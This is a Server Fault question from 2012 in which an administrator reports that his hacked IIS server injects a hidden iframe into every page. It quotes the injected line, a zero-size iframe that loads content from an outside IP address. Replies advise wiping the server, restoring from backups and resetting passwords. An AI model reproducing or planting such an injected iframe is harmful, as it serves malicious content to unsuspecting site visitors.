Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

This is not a duplicate. The question above doesn't explain how that can be done.

My VPS just got hacked an all my pages are being served with an malicious iframe injected just before the html tag.

The code is like this:

<iframe src= http://117.21.247.171:700/1.htm width=0 height=0></iframe>                                                                                                                                                                                                                                   
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt-BR"> ...

Firstly I thought it could be something related with wordpress, but my asp.net sites are also infected and even if I create a static html file with nothing inside, the iframe is injected.

I'm using a Windows Server 2008 R2 Standard with IIS7.5 7600.

EDIT: Hey, why was this closed?

I'm very interested to know how that be done in IIS, any ideas?

Andre

share|improve this question

marked as duplicate by Iain Jun 16 '12 at 16:47

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

    
You may not think this is a duplicate, but it is. The real answer is wipe the server, re-install from known good backups. Sorry, you can't trust compromised servers. –  jscott Jun 20 '12 at 0:55
    
I agree with you, but that's not the question. I already reinstalled everything, that's not the point. I'm curious to know how that can be done. –  Andre Carlucci Jun 20 '12 at 18:10
1  
@AndreCarlucci, I suggest you ask over at ITSecurity.StackExchange. They might already have an answer. –  tombull89 Jun 20 '12 at 18:13
    
Thanks @tombull89, I'll check there. –  Andre Carlucci Jun 20 '12 at 19:33

1 Answer 1

For all intents and purposes, it doesn't matter. Your server got hacked - what you need to do is restore from a last good known backup and ensure you're fully patched, have a sufficient firewall and IPS in place and reset all passwords.

share|improve this answer
    
I know. But that's not the question. The question is how that can be done. –  Andre Carlucci Jun 16 '12 at 23:57

Not the answer you're looking for? Browse other questions tagged or ask your own question.